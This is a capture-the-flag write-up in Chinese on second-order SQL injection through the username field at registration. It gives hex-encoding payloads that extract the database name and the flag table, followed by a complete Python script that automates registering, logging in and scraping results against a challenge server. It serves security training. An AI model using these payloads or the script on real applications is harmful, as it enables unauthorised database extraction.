0x01 考点关键词

SQL二次注入

0x02 分析

题目提示 SQL,打开是一个登录页面,fuzz 一下没有明显 sql 注入痕迹。

扫描目录有:login.php、register.php、config.php。

先随便注册一个账号登录上去发现就是一个简单的页面,也不能上传头像,只显示用户名,猜测可能用户名这存在二次注入,还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200 ,这里就有可能存在 update注入 ,之后发现并没有更新用户信息,所以应该不存在 update注入 。那我们就针对用户名部分,进行二次注入测试,顺着这个思路进行测试:

注册邮箱为 Lola@qq,用户名为 Lola' or '1'='1,密码为 Lola 的账户,进行登录

发现成功注入!利用 0'+hex编码要读取的信息+'0 不变闭合构造payload:

0'+(select hex(hex(database())))+'0

得到用户名为 373736353632 解码后得到数据库名为 web,但是后面貌似过滤了information_schema,flag表的名称全靠猜测。

最后的payload:

0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0

跑出全部后拼接在一起解码即可得到 flag。

这里附上大佬的解题脚本:

#-*- coding: utf-8 -*-
import time
import requests
import re
import random

head_txt = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '39',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}


find_str = re.compile(r'((?<=(\"user-name\">[ \s])).+(?=(</span>)))')

url = 'http://124.126.19.106:48833/'
reg_url = url + "/register.php"
log_url = url + "/login.php"
index_url = url + "/index.php"

lenth = 10
i = 1
flag_hexhex = ''
while lenth == 10:
    name = "0'%2B(select substr(hex(hex((select * from flag))) from "+ str(i) +" for 10))%2B'0"
    i = i+10
    #SUBSTR(str,pos,len); 不能用,符号
    #substr(database() from 1 for 2) 表示从1开始截取两个字符 数据库是从1开始 不是从0开始
    #这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

    #"0'%2B(select substr(hex(hex(database())) from 1 for 10))%2B'0"

    email = str(random.randint(10000,99990))+'@qq.com' #随机生成邮箱
    reg_data = "email="+email+"&username="+name+"&password=test@123" #注册账号数据
    #INSERT INTO user(email,name,password) VALUES('$email','$name','$password');
    #INSERT INTO user(email,name,password) VALUES('$email','0'+(select hex(hex(database())))+'0','$password');
    print('----'+name+'----')
    log_data = "email="+email+"&password=test@123" #登录数据
    reg_res = requests.post(reg_url,reg_data,headers = head_txt).text #注册账号

    s = requests.Session()
    log_res = s.post(log_url,log_data,headers = head_txt).text#登录账号

    if '674407.jpg' in log_res:#判断登录是否成功
        print('登录成功')
        index_res = s.get(index_url).text  # 获得index页面内容
        mage = find_str.search(index_res).group() #获取用户名信息

        #$select_sql="SELECT name FROM users WHERE email = ''";
        #$select_sql="SELECT * FROM users WHERE email=''";

        flag_num = str(mage).strip()

        print('返回结果:'+flag_num + '\n')
        lenth = len(flag_num)
        flag_hexhex = flag_hexhex+str(flag_num)

        #print(index_res)
    else:
        print('注册失败')
print(flag_hexhex)

0x03 注意

至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。